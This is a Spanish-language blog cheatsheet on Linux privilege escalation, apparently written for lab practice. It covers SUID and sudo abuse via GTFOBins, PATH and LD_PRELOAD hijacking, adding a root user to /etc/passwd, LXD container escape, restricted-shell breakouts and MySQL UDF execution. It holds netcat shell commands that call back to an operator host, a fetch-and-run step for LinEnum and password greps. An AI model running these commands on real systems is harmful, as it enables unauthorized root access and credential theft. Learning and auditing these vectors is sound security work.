← Blog

Escalación de Privilegios en Linux

Escalada de privilegios en Linux: SUID/SGID, sudo y GTFOBins, PATH hijacking, /etc/passwd, capabilities, cron, NFS y MySQL UDF.

Escalación de Privilegios en Linux

Operational Scope & Technical Objective

La escalada de privilegios se divide en dos categorías: vertical (obtener UID 0 o un EUID superior) y horizontal (moverse a otra cuenta del mismo nivel). El flujo de trabajo es enumerar primero, explotar después: la enumeración (manual o con LinEnum) debe cubrir el kernel y su versión, los binarios SUID/SGID, los crontabs, y los archivos sensibles legibles/escribibles. Este post compila el cheatsheet de enumeración y los vectores de explotación más comunes en hosts Linux.

Cheatsheet de Escalación de Privilegios

Comando Descripción
ssh htb-student@<target IP> SSH al target de laboratorio
ps aux | grep root Procesos que corren como root
ls /home Directorios home de usuarios
ls -l ~/.ssh Claves SSH del usuario actual
history Historial de Bash del usuario actual
sudo -l Comandos ejecutables como otro usuario/root
ls -la /etc/cron.daily Cronjobs diarios
lsblk Filesystems/discos sin montar
find / -path /proc -prune -o -type d -perm -o+w 2>/dev/null Directorios world-writable
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null Archivos world-writable
uname -a Versión del kernel
cat /etc/lsb-release Versión del SO
gcc kernel_expoit.c -o kernel_expoit Compilar un exploit en C
screen -v Versión de Screen instalada
./pspy64 -pf -i 1000 Monitorizar procesos con pspy
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null Binarios con bit SUID
find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null Binarios con bit SETGID
sudo /usr/sbin/tcpdump -ln -i ens192 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root Escalada con tcpdump (-z ejecuta comando)
echo $PATH Variable PATH del usuario
PATH=.:${PATH} Anteponer . al PATH
find / ! -path "*/proc/*" -iname "*config*" -type f 2>/dev/null Búsqueda de archivos de configuración
ldd /bin/ls Shared objects que requiere un binario
sudo LD_PRELOAD=/tmp/root.so /usr/sbin/apache2 restart Escalada vía LD_PRELOAD
readelf -d payroll | grep PATH Verificar RUNPATH de un binario
gcc src.c -fPIC -shared -o /development/libshared.so Compilar una shared library
lxd init Inicializar LXD
lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine Importar una imagen local
lxc init alpine r00t -c security.privileged=true Contenedor LXD privilegiado
lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true Montar / del host en el contenedor
lxc start r00t Arrancar el contenedor
showmount -e 10.129.2.12 Listar exportaciones NFS
sudo mount -t nfs 10.129.2.12:/tmp /mnt Montar un share NFS
tmux -S /shareds new -s debugsess Sesión tmux con socket compartido
./lynis audit system Auditoría de sistema con Lynis

Enumeración

Salidas de LinEnum relevantes para escalada:

  • Kernel: si es antiguo, candidato a exploit del kernel.
  • SUID files: binarios con u=s o g=s.
  • Crontab contents: tareas periódicas y sus rutas/permisos.
  • Can we read or write sensitive files: legibilidad/escritura de /etc/passwd, /etc/shadow, claves.

Descarga de LinEnum:

# Máquina del operador
python3 -m http.server 8000

# Máquina objetivo
wget http://IPTun0:Puerto/archivo
chmod +x archivo
./archivo

Alternativa sin descarga: crear un archivo .sh en el target, pegar el raw de LinEnum, guardarlo y chmod +x.

Creación de un Usuario Nuevo (escritura sobre /etc/passwd)

Formato de /etc/passwd

Cada línea representa un usuario con 7 campos separados por ::

  1. Username — nombre usado al iniciar sesión (1–32 caracteres).
  2. Password — una x indica que el hash vive en /etc/shadow; el hash se genera con passwd, no a mano.
  3. User ID (UID) — 0 es root; 1–99 cuentas predefinidas; 100–999 cuentas de sistema/administración.
  4. Group ID (GID) — grupo primario (definido en /etc/group).
  5. User ID Info — campo comentario (nombre completo, teléfono, etc.).
  6. Home directory — ruta absoluta del home; si no existe, el usuario cae en /.
  7. Command/shell — shell o comando de login (no tiene por qué ser una shell).

Si se tiene permiso de escritura sobre /etc/passwd, se agrega un usuario nuevo con UID 0. Primero se genera un hash compatible:

openssl passwd -1 -salt new 123
# $1$new$p7ptkEKU1HnaHpRtzNizS1
# Se agrega la línea a /etc/passwd
new:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash
# Acceso: su new (contraseña 123) → UID 0

Binarios Mal Configurados (sudo)

  • Revisar sudo -l: cualquier binario con NOPASSWD o con (ALL) es candidato.
  • Consultar GTFOBins para el binario exacto y su método sudo.

Ejemplo con vi:

sudo vi
:sh!      # shell con los privilegios de sudo

Exploiting PATH Variable

# Crear un ejecutable que imite un binario referenciado por ruta relativa
echo "/bin/bash" > ls
chmod +x ls
export PATH=/tmp:$PATH
# Al ejecutar un script root que llama a 'ls' (sin ruta absoluta),
# se resuelve /tmp/ls y se obtiene una shell

Upgrade de Shell a TTY Completa

Referencia: Upgrading Simple Shells to Fully Interactive TTYs.

echo $TERM      # valor de TERM en la máquina del operador
stty -a         # filas y columnas del tty local
# En la reverse shell
python3 -c 'import pty; pty.spawn("/bin/bash")'

# En la máquina del operador (Kali)
stty raw -echo; fg          # después de Ctrl+Z
# opcional: usar otra terminal para no perder el tty local

# De vuelta en la reverse shell
stty rows <NUMERO_OBTENIDO> columns <NUMERO_OBTENIDO>
export TERM=xterm-256color
# Ctrl+C ya no mata la shell; comprobarlo con ^C

Spawn de Shell Interactiva y Entorno

python -c 'import pty;pty.spawn("/bin/bash");'
# Ctrl+Z en el host local
stty raw -echo
fg
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH
export TERM=xterm-256color
export SHELL=bash
stty rows <rows> columns <cols>

Restricted bash

perl -e 'exec "/bin/sh";'
/bin/sh -i
exec "/bin/sh";
echo os.system('/bin/bash')
ssh user@$ip nc $localip 4444 -e /bin/sh
export TERM=linux

SUID — Detección

find / -perm -1000 -type d 2>/dev/null   # Sticky bit: solo owner/root borran o renombran
find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000): corre con el grupo del archivo
find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000): corre con el owner del archivo
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID o SUID (búsqueda completa)
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done
# Búsqueda rápida en lugares comunes (/bin, /sbin)
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
# SUID/SGID, sin symlinks, profundidad 3, sin errores
find / -perm /u=s -user "User name that you are looking for" 2>/dev/null

Archivos Escribibles y sin Dueño

find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print   # dirs world-writable
find / -xdev \( -nouser -o -nogroup \) -print                    # archivos sin owner/group

Escribibles por el usuario actual

find / -perm /u=w -user `whoami` 2>/dev/null
find / -perm /u+w,g+w -user `whoami` 2>/dev/null

Scripts modificables

find / -writable -type f -name "*.py" 2>/dev/null     # Python files escribibles

ls -aRl / | awk '$1 ~ /^.*w.*/' 2>/dev/null     # Cualquiera
ls -aRl / | awk '$1 ~ /^..w/' 2>/dev/null       # Owner
ls -aRl / | awk '$1 ~ /^.....w/' 2>/dev/null    # Grupo
ls -aRl / | awk '$1 ~ /w.$/' 2>/dev/null        # Others

find / -readable -type f 2>/dev/null            # Legibles por cualquiera
find / -readable -type f -maxdepth 1 2>/dev/null

Servicios Corriendo como Root

ps aux | grep "root"
# /usr/bin/journalctl normalmente no es legible por el usuario → ¿cron job?

Búsqueda de Contraseñas

grep -rnw '/' -ie 'pass' --color=always
grep -rnw '/' -ie 'DB_PASS' --color=always
grep -rnw '/' -ie 'DB_PASSWORD' --color=always
grep -rnw '/' -ie 'DB_USER' --color=always

Exploit Time

SUID — ¿está fijado el bit en estas aplicaciones?

# Nmap (versiones 2.02–5.21 tenían modo interactivo)
nmap -V
nmap --interactive
nmap> !sh

# Vim / vim.tiny
vim.tiny
# ESC → :set shell=/bin/sh → :shell

# find
touch pentestlab
find pentestlab -exec netcat -lvp 5555 -e /bin/sh \;

# Bash
bash -p

# Less
less /etc/passwd
!/bin/sh

# Nano: modificar /etc/sudoers
# <user> ALL=(ALL) NOPASSWD:ALL

# cp: sobrescribir /etc/passwd con un hash propio

¿Hay una aplicación SUID custom? Analizar cómo se ejecuta, si referencia binarios por ruta relativa (PATH hijacking) o carga shared libraries desde rutas modificables.

NFS Privilege Escalation

Linux Capabilities

find / -type f -print0 2>/dev/null | xargs -0 getcap 2>/dev/null
getcap -r /

cap_setuid+ep, cap_dac_read_search, cap_dac_override o cap_sys_ptrace permiten escalada si el binario expuesto admite abuso (ver GTFOBins).

MySQL Corriendo como Root

select sys_exec('echo test>/tmp/test.txt');
select sys_eval('echo test>/tmp/test.txt');

Real-World Offensive/Defensive Scenarios

  • Enumeración dirigida (ofensivo): correlacionar sudo -l + SUID + crontabs + capabilities cubre ~80% de los vectores clásicos antes de recurrir a exploits de kernel; los exploits de kernel deben ser la última opción (crash risk).
  • Validación manual (ofensivo): LinPEAS sugiere, pero la verificación manual de GTFOBins por binario exacto evita falsos positivos.
  • Defensa: auditar periodicamente SUID/SGID (find / -perm -4000), retirar capabilities innecesarias con setcap -r, proteger /etc/passwd//etc/shadow (modo 644/640) y fijar secure_path en sudoers para neutralizar PATH hijacking.